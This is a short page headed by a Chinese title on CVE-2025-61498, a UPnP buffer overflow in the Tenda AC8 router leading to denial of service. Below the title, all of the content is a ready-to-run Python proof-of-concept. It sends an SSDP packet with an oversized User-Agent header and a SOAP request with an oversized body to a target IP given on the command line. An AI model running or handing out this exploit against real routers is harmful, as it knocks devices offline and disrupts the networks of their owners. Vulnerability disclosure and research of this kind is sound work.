CVE-2025-61498: Tenda AC8 UPnP服务缓冲区溢出漏洞导致拒绝服务

import socket import sys # CVE-2025-61498 PoC - Tenda AC8 UPnP Buffer Overflow # Target: Tenda AC8 Router UPnP Service # Impact: Denial of Service def send_malicious_upnp_packet(target_ip, target_port=1900): """ Send a crafted SSDP M-SEARCH packet with oversized fields to trigger buffer overflow in UPnP service """ # Generate oversized string to trigger buffer overflow overflow_string = 'A' * 500 # Craft SSDP M-SEARCH request with overflow payload packet = f'M-SEARCH * HTTP/1.1\r\n' packet += f'HOST: {target_ip}:{target_port}\r\n' packet += f'ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n' packet += f'MAN: "ssdp:discover"\r\n' packet += f'MX: 3\r\n' packet += f'USER-AGENT: {overflow_string}\r\n\r\n' try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet.encode(), (target_ip, target_port)) print(f'[+] Malicious packet sent to {target_ip}:{target_port}') print(f'[+] Overflow string length: {len(overflow_string)} bytes') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False def send_soap_overflow(target_ip, port=5000): """ Alternative: Send oversized SOAP request to UPnP control endpoint """ overflow_data = 'X' * 1000 soap_packet = f'POST /control/wan HTTP/1.1\r\n' soap_packet += f'Host: {target_ip}:{port}\r\n' soap_packet += f'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"\r\n' soap_packet += f'Content-Type: text/xml\r\n' soap_packet += f'Content-Length: {len(overflow_data)}\r\n\r\n' soap_packet += f'<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">' soap_packet += f'<s:Body>{overflow_data}</s:Body></s:Envelope>' try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, port)) sock.send(soap_packet.encode()) print(f'[+] SOAP overflow packet sent to {target_ip}:{port}') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-61498-poc.py <target_ip>') sys.exit(1) target = sys.argv[1] print(f'[*] Targeting Tenda AC8 Router: {target}') print(f'[*] CVE-2025-61498 - UPnP Buffer Overflow PoC') # Method 1: SSDP overflow send_malicious_upnp_packet(target) # Method 2: SOAP overflow send_soap_overflow(target)